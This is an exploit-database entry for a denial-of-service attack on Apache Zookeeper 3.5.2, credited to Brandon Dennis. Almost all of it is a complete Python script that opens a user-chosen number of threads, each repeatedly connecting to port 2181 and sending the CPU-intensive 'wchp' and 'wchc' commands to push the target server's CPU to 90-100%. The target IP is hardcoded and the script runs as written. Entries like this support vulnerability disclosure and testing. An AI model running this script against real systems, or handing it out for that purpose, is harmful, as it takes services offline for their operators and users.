Zookeeper 3.5.2 - Denial of Service Exploit

2017-02-08T00:00:00
ID 1337DAY-ID-26927
Type zdt
Reporter Brandon Dennis
Modified 2017-02-08T00:00:00

Description

Exploit for linux platform in category dos / poc

                                        
                                            #!/usr/bin/python
 
# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: [email protected]
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. 
#   This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. 
#   The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#   This should effect Linux x86 & x64 as well
 
 
 
import time
import os
import threading
import sys
import socket
 
numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5" #Change this
port = 2181
 
def sendCommand(ipAddress, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ipAddress, port))
        s.send("wchp\r".encode("utf-8"))
        s.recv(1024)
        s.send("wchc\r".encode("utf-8"))
        s.close()
    except:
        pass
 
     
def runCMD(id, stop, ipAddress, port):
    while True:
        sendCommand(ipAddress, port)
        if stop():
            break
    return
     
def welcomeBanner():
    banner = """ _______   __  _____               _               
|___  | | / / /  __ \             | |              
   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __ 
  / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |   
\_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|   
                                                    
                 By: Brandon Dennis 
         Email: [email protected]
                 """
    print(banner)
     
 
welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads...") 
for i in range(numOfThreads):
    t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
    threads.append(t)
    t.start()
print("Threads are now started...")
     
 
while exitStr != "y":
    inpt = input("Do you wish to stop threads(y): ")
     
    if inpt == "y":
        exitStr = "y"
 
print("\nStopping Threads...")
stop_threads = True    
for thread in threads:
    thread.join()
         
print("Threads are now stopped...")
sys.exit(0);

#  0day.today [2018-02-09]  #